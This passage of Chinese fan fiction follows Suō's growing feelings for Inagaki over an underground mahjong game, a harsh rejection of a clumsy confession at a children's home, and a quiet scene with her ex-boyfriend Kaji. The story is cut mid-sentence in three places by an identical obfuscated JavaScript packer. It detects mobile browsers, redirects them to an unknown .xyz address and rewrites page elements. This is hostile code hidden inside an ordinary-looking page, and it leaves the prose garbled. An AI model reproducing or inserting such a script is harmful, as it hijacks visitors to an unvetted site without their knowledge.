留下一个“拜托了——”可爱小熊贴图后,苏枋果断下线,留下稻垣独自气得发疯。 他愉快地收起手机,起身伸了个懒腰—— 神思松懈的刹那,不久前在稻垣手机上看到的影像就猝不及防闯入他的脑海。 苏枋缓缓放下胳膊,将将松快起来的心情又一下子沉了下去。 她和梶的那张合照——苏枋从没见她笑得那么开心过。或者说,在他的判断里,稻垣不是会那样笑的人。她和谁相处都留有三分余地,对生人更是强调距离;不知道是因为长得漂亮总是得到优待,还是因为她骨子里始终留存一种隐蔽的傲慢,看不起人是常态,就算对人笑得和气,仔细分辨就会感受到那股隐约的不屑和不耐烦。 这样的人,为什么会在梶的身边露出那样的笑容来呢?灿烂、肆意、无所保留,能击穿人心里所有的阴翳,让一切见不得人的小念头无所遁形。 被那种要什么有什么,为众人所小心远观不敢亵渎的人特别垂爱,一定很幸福吧。 因为,他也从未见过梶露出那般柔和而静谧的表情。 为什么呢。 为什么梶能做到? 为什么梶能让稻垣在分手一年多之后还把这份恋慕封存在手机里,小心翼翼地,怕人看清? 他们的相遇究竟是何时何地、如何发生的,又具有怎样可望而不可及的意义呢? “真不错呢……” 听到这一声低喃的时候,苏枋喉头一窒,难以置信地摁住了自己的嘴角。 等等,那是从自己的喉咙里发出来的声音吗? 他刚才是毫无知觉地吐出了什么不得了的心里话吗? 那一刻他是惊恐的——苏枋不相信,自己潜意识里居然在羡慕被稻垣不梦搂在身边的梶莲。 更要命的是,他心里已经无法挽回地对那个至今仍悄悄封存在手机壁纸里的梶莲生出了一丝酸涩而微妙的嫉妒—— 不行啊。 这可不行。 这摆明了不会有好结果的。 搞不好还会要人命。 10. 打牌好看的人 要到稻垣联系方式后,苏枋雷打不动每晚查岗。稻垣不胜其烦,又拿他没辙。 她吓唬他:“要是让梅知道我每晚都接男生的视频电话,他绝对会让柊掘地三尺把对方找出来暴打一顿。” 苏枋无所谓:“没问题,我在被柊哥揍进医院之前一定会同梅宫哥说清楚稻小姐带我去地下……” “好了好了别说了!”稻垣打断他,“查岗结束了吧!我要挂电话了!” “或者还有另一种解决办法。”“什么?”“稻小姐和我交往,对我负责啊。”“有病!” 稻垣摔了电话。 苏枋后知后觉地想,啊,今天没跟她说晚安。 不过事态莫名其妙就发展成每晚都要打视频电话、和她道晚安的局面,属实有点可笑,而苏枋认为责任绝对不在自己。 谁让她不肯老老实实给他联系方式,非要调戏他,最后搬起石头砸自己的脚,让他看见了她和前男友的合照。 自作自受呀,活该。 一周过后,苏枋在多闻众放学后巡逻的时候,遇到从车站回来的稻垣和梶。 一行人停下打过招呼,寒暄几句又各走各路,稻垣和苏枋默契地装不熟,擦肩而过的时候,苏枋感觉袖口被拨了一下。他不动声色回头一瞥,看见稻垣手背在身后比了个手势。 当晚八点,苏枋到了地下街。 稻垣这次没再化那种夸张的妆容了,穿灰扑扑的帽衫和洗得褪色的长裤,头上扣了顶棒球帽,素面朝天——苏枋这才发现稻垣平时的眼妆也根据时下流行的风格刻意修饰了眼型,她实际上长着一双十分古典的桃花眼。 很巧,苏枋今晚也换了毫无记忆点的短袖T恤和牛仔裤,耳坠临时拆下来收起来了——眼罩没办法,本人坚称摘了会放跑古代恶灵,稻垣虽然嘴上没有指摘什么,但还是用看病人的眼神睨了他好几秒。她掏出个黑色口罩强迫他戴上,逢人问起就随口胡诌,说他长得太好看了总被星探追着要联系方式很困扰。苏枋吃不消,心想他们两个现下确实不像喝酒泡吧、混迹擦边场所的不良男女了——反而像是鬼鬼祟祟盯人钱包的小偷,还是脑子不太好的那种。 稻垣在地下街的招牌下钻来钻去,和门口招揽客人的男女虚情假意地寒暄但不敢多做停留。末了,她领着苏枋进了一家牌庄。稻垣说今天换个目标,玩回自己的老本行——打雀牌。 在牌室里等人组局的时候,苏枋终于摘掉口罩喘了一口气。稻垣歪头问他:“苏枋,你其实很会打雀牌吧?”“不怎么会打。”苏枋敷衍道,“第一次跟稻小姐坐一桌那会儿,我不是一把都没和吗?” 他的确一把都没和,但除了故意送给梅宫的那一局平胡全带幺,他也一把都没有点过炮。 稻垣乜他:“那是你不想吧,你根本就没认真打,净想着给我捣乱。” 被拆穿了,苏枋只好低头:“这次会好好打的。”稻垣轻哼:“你最好是。” 地下街雀庄倍率很高,4局半庄,各家起手25000分。东1局,对家坐庄,配牌到手,苏枋哑然——两张七筒宝牌,五万和六索各三张,自动成刻。 东风场有稻垣在身旁坐镇竟然是这么舒服的一件事吗?苏枋感到不可思议——坐她上下家诚然无比痛苦,但坐她身旁,有强运加身的庇护那可是截然不同的体验:舒适、安心、令人飘飘然。 稻垣又靠到他肩头跟他说悄悄话:“你很擅长这种牌形呢。” 苏枋不客气地扭头贴回去,每个字都吐在她耳廓上:“放心,我保证不在一巡开杠。” 稻垣一巴掌糊在脸上推开他。 这一局,稻垣完全没给指示,兴许是觉得有她在,苏枋在东风场再怎么样也不会输得很多,像是为了检验他是否言出必行一样,全都交给他自己发挥。 苏枋打得非常松弛——从前师门里组局打牌,他的牌风和心态就是公认的好,在雀桌上最暴烈的言论也无非是“七对子狗都不做”,小小年纪稳得不行,大人们都自叹弗如——东1局摸切五巡后,还没抓到想要的牌,他也完全不急;六巡手感好起来了,开始进牌,八巡做好了四万一对;九巡庄家立直,看牌河像是混一色;上家拆打熟张兜牌防守,下家看断幺,副露落地强势进攻;三家暗中较劲,而他好似浑然不觉,置身事外,继续专心做自己的刻子,主打一个闷声发大财。 十巡,第三张四万来了,三刻已成,另有宝牌一对,四筒一对——有了,苏枋观察了一番局势,决定默听埋伏。 对对三暗刻断幺叫听四七筒双碰,宝牌两张,这一把但凡有人放铳,就是18000分的入账。 开局做到这种牌,点炮的倒霉蛋就跟直入地狱差不多了。苏枋含着笑瞥了一眼稻垣,想示意她自己说到做到,不料,正撞上她亮得出奇的眼神,紧紧盯着他——桃花眼凉薄,偏她吊着眼尾看人时含情太盛,苏枋心下一跳,但稻垣什么都不说,只是默默地把目光转回了牌局,仿佛打定主意沉默到底。 苏枋有些不解,不过他感觉得到,稻垣兴奋起来了——大约是有好事要发生。 十二巡,苏枋摸牌的时候,稻垣忽地笑了,脸颊微红——他寻思,咦,是要来了吗? 低头一捻,果然——东风场里,稻垣的嗅觉是格外敏锐的,她能嗅到那种气息。 牌山里迟迟不露脸的绝张四万,此时正牢牢扣在苏枋指尖。 放在平时,庄家都立直了,开杠翻宝牌纯属想不开,苏枋绝对不会这么干,但今天稻垣坐在身边—— 此时不杠更待何时。 “杠。” 苏枋推了四万,翻扣外侧两张捅到桌角,伸手摸了岭上牌。指尖一抹,他微微一笑,嗓音清亮。 “再加一手,杠。” 苏枋拢好摸来的岭上牌,紧跟着又摊出一手六索暗杠——连翻两张宝牌指示牌,庄家眼睛都直了,苏枋知道这下是不成功便成仁了。 稻垣捂着嘴,指缝里泄露出断断续续犹如清水漱玉般琳琅的笑声。 苏枋不自觉地睇她一眼:“有这么好笑?”稻垣不答话,拼命压住笑,脸颊绯红地摆摆手,催促他赶紧摸牌。 苏枋摸了第二张岭上牌,指腹习惯性捻过去的时候,终究也像被稻垣感染了似的,止不住地笑开了——怪不得刚才她那么看自己,三暗刻都不满足了她,真是相当贪心的一个人。 苏枋手起牌落,带着一种杀人不见血的优雅和利落,举重若轻捅出那张四筒:“自摸,岭上开花四暗刻,宝牌2,庄家16000,闲家8000。” 另外三家的脸色乍然间变得五颜六色,各有各的精彩:“哇——开局就役满炸庄,小哥你手真黑啊!”“两连杠开四暗刻什么水平?还好不是我坐庄。”“没见过,再看看。” 东1局一上手就拿下34000分,苏枋面色不改,神容宁静,收了棒继续。 东2局,下家自摸平胡清一色,大力挽回颓势,转过头进本场,刚赢两把就被苏枋断幺抢杠,就势换了庄。 东3局苏枋坐庄,开始理牌。 稻垣轻轻靠过来,低声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059612|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我有种感觉。”苏枋笑着问:“什么?”稻垣笃定道:“今晚我只要坐在这里,就万事无忧了。”他阖了阖眼,眉目温柔:“那就请您安生坐着吧。”“真可靠啊。”稻垣感慨一句,难得温顺。 结果那一晚,有正东风强运姬加持的苏枋在东3局一路打到了庄家八连庄役满——他的牌风正统稳健,讲求最大牌效,不喜贪多求大,只要势头不对,千分小和他也立刻拿下,为了保庄,也可以耐心防守直到流局;另一方面,由于稻垣坐在身旁,他今晚好像时不时福至心灵,去抓那转瞬即逝的灵感,不经意间就把庄家满贯以上的大牌拍在桌面上——就这么保持连庄,赢得三家鬼哭狼嚎。 中途牌庄里好多人来看热闹,听说有人一路连庄,至今没出东风场,大家都争相来看是哪个赌徒得道成仙了竟如此猖狂——发现是个面生的年轻人,更觉得后背直下冷汗。这人年纪轻轻,城府却深得可怕——东风场八连庄,是个人都要昏头了,偏偏那长相有些孩子气的男生依然神情平淡,沉稳持重,一点都不上脸,很有几分宠辱不惊的修为在身上,以至让人不禁怀疑起他的真实年龄来。 倒是他身边的女伴比他轻浮得多,跟喝醉了似的,酡颜醉红,黏在他身边笑得花枝乱颤;不过仔细一看,长得相当漂亮——牌运爆棚,美人在侧,看一眼羡慕,看多了嫌晦气。众人赞叹或嫉妒一番过后,纷纷散去,留下三家倒霉蛋继续血战东风。 牌局结束已经过十一点了,苏枋照旧兑了现金出去,送稻垣回家。稻垣心情好,他的心情也不错。 稻垣走路蹦蹦跳跳地,在苏枋旁边絮絮叨叨个没完。 “我就知道今晚肯定能赢大的,一进那个房间我就觉得风向真顺啊,特别顺!我头一回吹这么舒服的风!” 苏枋听不懂,感觉她好像完全换了一套语汇,除了她自己没人理解——毕竟那间牌室逼仄得很,只有高处一扇小小的通风窗开了缝,哪里来的风? “哎,开局役满,东风八连庄,想想都爽得要死了……要是在学校的话,倍率无上限,打到all last,设施一年的运营资金都赚够了! “苏枋,苏枋!你在听吗?” 苏枋故作疑惑:“咦?是讲给我听的?抱歉啊,太吵了,我一直在走神来着。” “过分!性格太差劲了!”稻垣气得伸手掐他腰窝,“你以为是有谁在旁边你才能赢得这么顺利啊!” 苏枋任她挠痒痒,被她折腾了一会儿闹烦了才顺手捉了她手腕,把她拽到身边,松松圈住,好声好气道:“别闹了,稻姐姐。” 稻垣这才满意,消停了,没过一会儿又开始一个人兀自发笑。 苏枋忍俊不禁:“到底在笑什么啊。”稻垣甩开他的手,自顾自捧着脸回味:“笑笑还不行了——很久没有见过打牌打得这么好看的人了。”苏枋问:“我打牌好看?”得到她一声绮丽又飘忽的喟叹:“好看,牌打得赏心悦目,人也好看。” “……” “嗯?你说什么?”稻垣没听清。 苏枋的嗓音带了一丝极其细微的颤抖,字句之间的起承转合稍显滞涩,落在耳朵里总不如往日连贯,一不留神就溃散了。 “那你看着我啊,姐姐。” 稻垣闻言,掀了自己帽子,抬手把碎发全都拢到脑后,伸了个懒腰。 “我看着你呢,苏枋。”她笑了,面容又风过无痕般回归寂静,神色温和,好似在宽慰他,“我一直看着你。” 苏枋轻笑一声,摇摇头,不做计较:“是吗。” 11. 都市病 打雀牌那一次过后,稻垣又消停了一段时间,没有再提要去地下街。 苏枋照例每天晚上查岗,从不多聊,每每确认她在家就要挂断,倒是稻垣偶尔会一时兴起和他随便侃两句,关心一下防风铃的近况。 稻垣多半在阳台上接他的视频电话,偶尔不在也会立刻从室内移步到阳台——苏枋从不刻意窥看,他意识到稻垣确实并非不注意细节和隐私的人,让他一次就猜出锁屏密码看到壁纸大概已经是她足以记入档案的人生污点。 时近五月末,苏枋在视频通话时注意到,稻垣家院子里的楝花已尽数谢落——夏天近在咫尺了。最近气温稍有上升,稻垣一直披在居家服外面的线衫今天也没在身上。 “对了,下周别在夜里打电话查岗——我要去修学旅行。” 苏枋打趣道:“百花王学园也会有修学旅行这种普通的活动吗?” 稻垣一本正经地回答:“有的,百花王还认真上课呢。” 苏枋听出她话里的讽刺,有些哭笑不得:“别看风铃这样,姑且也有在上课呢——还会考试。” “真的假的!”她夸张地惊叫了一声,然后自己把自己给逗笑了,抱着手机笑得站不稳倒在了椅子上。 “真的啊。”苏枋也跟着笑,“每次测验欣赏同学叼着笔抓耳挠腮、上蹿下跳的样子也是种乐趣呢。” “恶趣味。”稻垣如此评价,“苏枋学力怎么样?你的偏差值应该还过得去吧?” “考试勉强够用。”苏枋一向谦逊。 “你们级长——叫什么来着?”“樱——好歹记住人家名字啊。”“哦,记住了。樱大抵是不行的,除了体育课应该都是蔫的。”“哈哈,无法反驳呢。”“榆脑子还算是不错的,这小子国中要是好好读书,少跟着不良乱晃,没准如今也在东京读高中了——”稻垣一副耿耿于怀的表情,“我以前还指望他能出去读个好大学的,不争气的小鬼。”苏枋乐了:“稻小姐费心了,我会适当督促榆君的。”“虚伪。” “那么,我记下了,修学旅行的那几天,我就不打扰稻小姐了。”时间差不多了,聊得也比平时多了些,苏枋准备结束对话。“别太寂寞了啊。”稻垣继续阴恻恻地讥讽他。 “也许会吧。”苏枋模棱两可地笑笑,反正就算寂寞,她也不会放在心上——这么想着,他索性问她,“最近还有机会见到稻姐姐吗?”稻垣很警惕:“干吗?别跟我撒娇。”苏枋惯会拿别人说过的话堵回去把人噎死:“寂寞啊,想见姐姐。”“都说了别撒娇!” 正说着,稻垣家的门铃被揿响了。 “咦,稻姐姐晚上有客人?”苏枋看了眼时间,晚上七点半。 “是梅——”稻垣站了起来,冲着院子门口的梅宫挥了挥手,“他来接我去设施,今天有个前几年离开设施的哥哥回来看望孩子,约了我一起去。” “为什么要约稻姐姐一起去啊?” 稻垣匆匆回室内:“因为这个哥哥今年考上大学了,学费是我出的——不说了,我要出门,挂了!” 二十分钟后,风铃儿童养护设施门前。 稻垣愕然瞪着苏枋:“你怎么在这里?” 苏枋面不改色心不跳:“出门散步。” 梅宫对这人心险恶的对话与前情概要一无所知:“噢!好巧啊,苏枋是第一次到这里来吧,也一起进来吧!和原哥已经在里面等了。”“好,打扰了。” 稻垣忍无可忍地翻了个白眼。 和原大梅宫两岁,前年离开设施,去年在大学共通考试中落榜,经过一年苦读后,今年年初考上了排名相当靠前的私立大学。大学学费十分高昂,包括复读期间的补习费用,也是稻垣在补贴。和原知道自己这个小妹妹肩上压着重担,很不好意思,因而整个春假都在打工,相当辛苦,另一方面也在积极申请各类补助,为的是能够尽早结束依赖稻垣资助才能维持生活的窘境。这次回来,他约梅宫一同到设施看望弟弟妹妹,顺道也想向稻垣当面表达感谢。 和原和稻垣给弟弟妹妹们带了礼物,和设乐打完招呼,苏枋帮着挨个分完后就送孩子们去睡觉,梅宫带着三人在保育员的工作间里坐下来。 “谢谢你,小稻,你的恩情我会永远铭记在心。”和原正坐,向稻垣郑重致意。 “不必客气,和原哥专心学业,以后能有个好前程,努力生活,就是对我最大的回报了。”稻垣这话说得非常真诚,但也老气横秋的,引得梅宫发笑,说她像个老妈,被稻垣狠狠拧了一把。 “我会记得小稻的话,我会一直努力的。”“那就好。” 苏枋端了茶水过来。梅宫挥挥手:“噢,麻烦你啦,苏枋。”“不客气,梅宫哥。”苏枋坐下来,顺手掀了杯子倒水,推到稻垣手边。 “说起来,小稻现在还是单身吧?”“嗯。”“那要不要和我交往试试看?” 苏枋闻言眼皮一跳,而稻垣连眼睛都没抬一下,端着杯子的手就那么悬停空中——停了足足一分钟。她一动不动,但周围的空气骤然间冷下去了。和原见她这样,不自觉打了个寒噤。 蓦地,稻垣悠然一笑:“不行呢。” 和原却并未因稻垣的拒绝而表露出丝毫失望、沮丧或者受打击的意思:“果然没戏啊,哈哈哈我就知道!梅宫,你看,我就说,小稻她肯定会超级干脆地拒绝我的告白——” 梅宫笑笑,没接话。 苏枋更不可能出声打岔,因为他清晰地感觉到,那股冷意并未就此散去。 稻垣冷不丁抬起眼,目光锋利得像把刀,直直捅在和原脸上:“和原哥喜欢我吗?”“欸?”“是因为喜欢我才告白的吗?”“啊,嗯,是啊……小稻很可爱嘛,能交往的话我会很高兴的……” 稻垣手里杯子往桌上一放,没发出一丁点声音,动作优雅,眸光垂下去,苏枋却在她眼底觅见一丝冷冰冰的鄙夷——他下意识地收敛了气息。 不敢惊动她,决不能在这时候惊动她——被她用那种眼神看着的话,一般人会想死的。 “哦,就因为这种理由啊——我可爱?”她清泠泠地笑起来,音色好听,语气瘆人,“和原哥一点都不了解我嘛——多跟梅打听打听就知道了,我这个人表面上是那么回事,私底下性格和脾气都超——级——差的,跟可爱简直一点都搭不上边,说我讨人厌或是恶心我倒是不会有什么意见。你跟女性告白之前,连这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059613|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种程度的情报收集都不去做吗?” 她连敬语都不讲了。 “哈……?” “你是在跟我开玩笑吧?不要抱着那种随随便便的心情告白比较好,不要对我说‘要不要交往试试看’这种话。” “玩笑开过头了?”和原面露尴尬,讪笑着试图圆过去,“是不是听起来太轻浮了?对不起啊……” 年长者率先认错给出了台阶,一般人这种时候都会顺着台阶就下了,笑笑敷衍几句把这一茬接过去——没想到稻垣根本不予理会,说话间愈发尖刻起来,充满露骨的鄙视:“真搞不懂你们这些男人,遇到一个能多看两眼的女人就敢随口说要不要交往试试看——你们是什么到了春天必须求偶□□、不然一入夏就会死掉的低等动物吗?” “……欸?”和原被骂得蒙住了,一时间彻底傻在了原地。 他肯定没想到,随口一说的玩笑话会让一直对他和颜悦色、尽心尽力提供许多帮助的稻垣突然翻脸不认人。 “和人交往,付出感情这种事,对我来说是存在巨大风险的,搞不好会死啊——果然对你们来说,感情和好意不过就是这种廉价的、可以在路上随手乱洒的东西而已。这么说来,男人真是跟没训练过上厕所,只会到处便溺的初生小狗没什么区别呢。” 她骂得好难听,而且附带全无顾忌的扫射行为。 苏枋低头喝茶。他早知道稻垣脾气不好,爱憎分明,对看不惯的人和事一点都不客气,然而这么嘴上不饶人地对着前辈穷追猛打还是闻所未闻见所未见的——是因为眼下房间里没有外人在吗?还是因为对方不是陌生人,而是自己资助的哥哥所以才更加生气? 梅宫坐在旁边,一反常态沉默地望着别处,自始至终一言不发,一句阻拦甚至圆场的话都没说。 和原被她骂得满脸通红,羞愧得不行,马上道歉:“对,对不起,十分对不起!小稻,我绝对不会再开这种玩笑了!” 稻垣仍旧冷着一张美人脸:“别到了大城市、过上几个月都市生活就晕头转向。染上一身都市人的烂毛病是会带来不幸的,一不留神就会腐烂到根上,变成浪费社会资源的垃圾的啊——对待感情不认真的男人一辈子都不会幸福。” 和原一头磕在桌子上:“我真的知错了!我发誓一定认真对待女性和感情,请不要诅咒我啊啊啊啊稻垣大人!!” 稻垣俯视着和原,不出声——她不出声,和原不敢动,梅宫和苏枋也不插话。 “我资助大家完成学业,从来不只看学力水平,别让我后悔自己花出去的钱没用对地方——会读书的人多了去了,能好好长成的人却少之又少。”良久,她意味深长地说了这么一句话,然后起身,神情冷淡,“梅,我有点困,先回去了。” “啊——好,苏枋,”梅宫偏了偏头示意,“能拜托你吗?” 苏枋会意,跟着站了起来:“是,我送稻小姐回去。” “路上小心,小稻。”“嗯。” 稻垣拉开门的那一刻,和原头埋下去,低得抬不起来,声音颤抖:“真的非常对不起……” 一场老朋友的会面就在一句不合时宜的玩笑话里不欢而散。 12. 苦楝苦恋 送稻垣回家的路上,她一路沉默。 苏枋慢她半个身位,跟在后面,偶尔,夜风鼓起她的风衣衣摆会拂到他的身上。她身上是长袖衬衫和黑色长裤,衬衫里还束了件黑色高领打底——春末的夜里穿这么多着实有些热了,不知道是她身体不好怕受凉,还是为了和以前认识的人会面才穿得比较郑重。苏枋记得,稻垣在跟他打电话的时候还穿着居家服,是挂了电话后立刻换了衣服出门的,妆很淡,但也仔细补过了。 稻垣虽然行事作风大多自我中心,但骨子里是个很较真的人,尤其是对待身边的人——在这种人面前,轻浮随意的态度与死罪同等。 况且,苏枋确信,稻垣发作和原,也有隔空敲打自己的成分在里面。 “稻小姐。”“嗯。”“对不起。” 稻垣一步都没有停:“为什么道歉?” “因为我也说过那种话。‘和我交往,对我负责’什么的……稻小姐很讨厌吧?” “还好。”她的语气太平静了,听不出一丝好恶,也分辨不出其他情绪的痕迹。 苏枋的目光稍稍沉了下去:“居然不骂我呢,这也是双重标准?” “因为你这个人讲话,有的时候很难听出来到底是认真的还是在鬼扯。” 苏枋不相信她听不出来。他讲的话,樱听不出来,榆井偶尔也听不出来,梅宫可以听不出来,而稻垣不梦,绝对不可能听不出来。 “稻小姐认为我是认真的吗?”“这个只有你自己知道。” “我也不知道。”苏枋停下脚步,望着稻垣不回头的背影思索了一会儿,自己也怅然困惑,“我想……我可能是有一些喜欢稻小姐的。” 这句话终于让她停了下来,皮鞋的小高跟在地面上敲出利落的“嗒,嗒”两声。这声音惶然落下去,周遭猛地沉入一片深水般的寂静里,变得落针可闻。她双手放在风衣外套的口袋里,缓缓转过身,月光在她脸上流连,不肯离去,斑斑驳驳晕染了她的眉眼。 稻垣的思路很清楚:“可能是有一些喜欢我——意思是还没到要找我负责的程度,对吧。” 苏枋失笑:“真是的,您说话就不能委婉一些吗,我也是会伤心的——拿那种半吊子的话试探稻小姐是我不谨慎,我向您道歉。” “关我什么事。”她很冷淡,不过到底没有生气——她这个人,嘴上说自己双重标准,但实际上是一碗水端平的:带着侥幸心理的暧昧试探会遭到毫不留情的拒绝甚至回击,而坦诚相待的情况下,即便犯了错也会得到原谅。 “稻小姐可以放心,我不会抱着那种不清不楚的心情就和您告白的。我会认真对待这份心意,自己的想法不够明确的话,我不可能轻举妄动——我会搞清楚之后,再考虑如何应对。” “那是你的事。不过你就算弄明白了,也最好什么都不要做。”稻垣的口吻生硬又尖锐,可措辞又温和,听起来非常怪异,她甚至是在给他建议,“苏枋,去认识别的女孩,找个你喜欢也真心实意喜欢你的人,好好谈一场恋爱吧——这样就能把我甩到脑后了。” “为什么?”苏枋冷下了脸,“为什么要这说这种话。” 这难道是认真对待感情的态度吗?在他摊牌了自己对她抱有好感的前提下,劝他去找别人谈恋爱?这是什么道理。 苏枋这才堪堪发觉,稻垣在处理感情这方面是从不拖泥带水的——她只有两种态度,行就行,不行就不行,不存在中间地带,没有回旋的余地,一点情面都不给。 “因为我不会答应的,苏枋,我不会接受别人——你很好,但别在我身上浪费时间和精力,这不值当。” 苏枋听不得这种话,他咽了一下,发现自己活口吞刀的修为还不到家,到底没能咽得下这口气,故而还是发难了:“是因为梶哥吗?” “什么?”稻垣终于皱起了眉。 “稻小姐不肯接受其他人,是因为您仍旧喜欢梶哥吗?那直接和梶哥复合不就好了——梶哥也很在乎稻小姐不是吗。” 稻垣的口吻陡然间冷了下去:“这和梶没有关系,是我自己的事。” 苏枋意识到自己触到逆鳞了,可还是无所畏惧地顶回去:“那我要在谁身上浪费时间和精力,也是我自己的事;至于值还是不值,稻小姐说了不算。” “……随你吧,我把话说到这里了,以后不会再跟你谈这个问题。”稻垣不耐烦地试图结束话题。 苏枋上前一步:“那我和稻小姐还是像朋友一样来往吗?您会避着我吗?” 稻垣依然站在原地,岿然不动。她的冷漠格外坦荡,也正因如此才显得分外伤人:“不会啊,我不都把你拖下水了?我们是共犯,对吧。” 苏枋如堕冰窟。他听懂了——稻垣的言下之意是,除非去地下街,其他时间里,她和他没有关系了。 “就送到这里吧,前面转个弯就到了,几步路而已。”稻垣拢了拢头发,转身就走,“谢谢你送我,回见。” “——”苏枋刚要开口,忽觉身后有异常,旋即倒提一口气看也不看反手往后抡出一拳。 这一拳被半途截下,对方手掌温厚。 “呜哇——是我啦!”一道熟悉的嗓音压得很低很低,在苏枋头顶响起。 “啊,梅宫哥。”苏枋很惊讶,“怎么过来了——不是说我送稻小姐就行吗?” “不是说你送不行啦——”梅宫抓了抓头发,似乎有难言之隐,“啊,事实上确实不行,所以我赶紧过来,还好拦住了欸!” 苏枋一头雾水:“什么意思?到底行还是不行?” 梅宫跟他解释:“是琴叶刚给我发消息,说她烤了小蛋糕,叫我拿一点送去给小稻——然后她才知道我今晚和小稻一起去设施了嘛!我说我还走不开,不过小稻马上就到家,她说正好梶到商店街帮家里买东西路过她那边,就让梶去送了。” 苏枋听得人都麻了。他不禁苦笑:“所以梅宫哥为了防止梶哥见到我跟着稻小姐,就赶紧冲过来截我?时机抓得也太准了吧……” 梅宫哈哈一笑:“是吧,我也这么想,让苏枋和梶当面撞上也太致命了,会当场堕入地狱的啊!解释不清楚的啊!” ——等等。 这话里面是不是有什么漏洞。 苏枋挑起视线望向梅宫:“梅宫哥,我为什么不能出现在梶哥面前呢?是梅宫哥没空,所以让我送稻小姐回家的吧——这有什么解释不清楚的?” 梅宫十分宽容地笑了笑:“这怎么解释得清楚啊,苏枋,你送小稻回去可以拿我没空解释——可你今天晚上出现在设施门口,难不成也是我让你来的吗?” 苏枋哑口无言。他知道一时冲动难免留人把柄,但没想到梅宫如此聪明。 梅宫这人,性格脱线,平时一副迟钝得要命的样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059614|162961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实则什么都看在眼里。更何况稻垣是在他身边长大的,他对弟弟妹妹周遭的人和事素来上心。他不是看不穿,只是不拆穿。更何况——苏枋倏地想起来,在初见稻垣那天,柊就同他说过,稻垣身边多几个靠谱的人,他和梅宫都乐见其成。 可她身边生出心思的人贸然和梶这个前男友对对碰显然不是梅宫当初想见的局面。 梅宫不绕弯子:“苏枋,你喜欢小稻吧?” 苏枋无奈道:“梅宫哥,哪有这样直接问的啊——还谈不上喜欢,不过要说有好感的话,我暂时是没法否认的。” 没想到梅宫特别骄傲地拍了一下他的肩膀:“是吗是吗,有好感啊!也是啦,我们小稻是特别好的女孩子嘛,看上她也正常!很不错!眼光很好!” 苏枋差点被他一巴掌拍得矮下去一截:“这是什么爸爸的发言吗……” 梅宫大呼小叫:“乱讲!我哪有那么老,我是大哥哥!” “梅宫哥轻一点,就不怕让稻小姐听见吗?”“噢,是哦……”梅宫看了眼时间,小声说,“走啦,梶估计很快就到了哦。” 苏枋眼角一抽——梅宫不说这句话还好,梅宫一说出口,他反而有点不想走了。 他有什么非走不可的理由吗? 谁规定爱慕者非要忌惮前男友不可?苏枋隼飞打群架都从没怵过,单挑一个前男友难道还有什么怯阵的必要吗? “稻。” 冷淡而低沉的声线在阒寂的街道上猝不及防地响起,明明很远,落在耳朵里却变得震耳欲聋——苏枋浑身僵硬。 梅宫望着苏枋几步闪到街路拐角立正站直背着手偷听的不做人样子,目瞪口呆地感慨:“哇……没想到苏枋你是这种类型——” 被苏枋横了一眼。梅宫闭嘴。他蹑手蹑脚地走过去,跟着一起偷听,还探头探脑试图偷看。 “梶,你怎么来了?”稻垣惊讶地迎上去。梶递给她一个袋子:“琴叶烤了小蛋糕,让我拿给你。”“啊,谢谢。”稻垣接了过来,“你也分一点回去吧?你不是最喜欢甜食了吗,我一个人不用这么多。”“我有自己的份。”梶提了提手里另一个袋子示意。“这样啊……好。”稻垣的声音低了下去。 梶的目光轻轻地落在她身上,上下两个来回,收了回去。 “快入夏了。”“嗯。”“身体好些吗?”“好多了。”“那就好。” 对话以一种散漫而稀碎的节奏在两人之间反复回弹,没有过多起伏,犹如平坦的河川,微风推不出太多波澜,只能任其静静流淌。 “最近需要什么东西吗。”“没什么需要的。”“或者想去哪里。”“古书店。”“我陪你去。”“……不了,有点远,我怕累。”“好,随你。” 当他们之间的絮语安静下去,连风都随之止息——两人之间酝酿的寂静温柔而剧烈,仿佛可以消解一切可见可闻可触可感的实存,世界溘然长逝,文明土崩瓦解。 “稻……”梶上前一步,罩在袖子下面的手指搭住了稻垣的手背,他停顿了一下,指腹往下滑,顺势探出整个手掌,裹住了她的手,没有说话。 稻垣低下头,又抬起来看他,眼睫猝不及防轻颤:“梶……?怎么了。” 梶闻言松开了手:“身上凉了,进去吧。”“嗯。” 这时,春末的最后一朵苦楝花自枝梢一跃而下,如鱼入海般坠亡在梶莲的肩头。 13. 高殿雪 楝花飘零的院落外,梶和稻垣道了晚安。 “明天早上,我来接你。”“好。” 稻垣转身进了院子,梶站在门口看着她进了门,才沿着来路折返。没几分钟,阳台的门被推开了,稻垣走出来,趴在阳台边上望着梶一步步走远。 